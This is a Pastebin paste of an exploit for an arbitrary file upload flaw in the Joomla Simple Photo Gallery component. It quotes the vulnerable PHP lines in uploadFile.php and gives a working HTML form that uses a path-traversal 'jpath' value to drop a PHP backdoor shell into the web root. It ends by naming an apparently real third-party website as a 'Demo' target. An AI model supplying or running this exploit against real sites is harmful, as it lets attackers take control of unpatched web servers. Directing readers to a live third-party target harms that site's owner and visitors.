dimaslanjaka

joomla simple photo gallery upload

Dec 8th, 2015
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. Title : Joomla Simple Photo Gallery - Arbitrary File Upload
  2. Author : CrashBandicot @ DosPerl
  3. Size : -
  4. Source : www.exploit4arab.net
  5. Download : -
  6.  
  7. ###################### ###################### ###################### ####
  8.  
  9. # Vulnerable File : uploadFile.php
  10. # Path : /administrator/components/com_simplephotogallery/lib/uploadFile.php
  11.  
  12. 20. $fieldName = 'uploadfile';
  13.  
  14. 87. $fileTemp = $_FILES[$ fieldName]['tmp_name'];
  15.  
  16. 94. $uploadPath = urldecode($_ REQUEST["jpath"]).$ fileName;
  17.  
  18. 96. if(! move_uploaded_file($ fileTemp, $uploadPath))
  19.  
  20.  
  21. # Exploit :
  22.  
  23. <*form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/ uploadFile.php" enctype="multipart/form-data"*>
  24. <*input type="file" name="uploadfile"*>
  25.  
  26.  
  27. <*input type="text" name="jpath" value="..%2F..%2F..%2F..%2F"*>
  28.  
  29. <*input type="submit" name="Submit" value="Pwn!"*>
  30.  
  31.  
  32.  
  33.  
  34.  
  35. # Name of Shell Show you after Click on Pwn!, Name is random (eg : backdoor__FDSfezfs.php)
  36.  
  37. # Shell Path : http://localhost/backdoor__[RandomString].php
  38.  
  39. # Demo : http:// www.aphroditesvision.com/ administrator/components/com_simplephotogallery/lib/uploadFile.php
Advertisement
Add Comment
Please, Sign In to add comment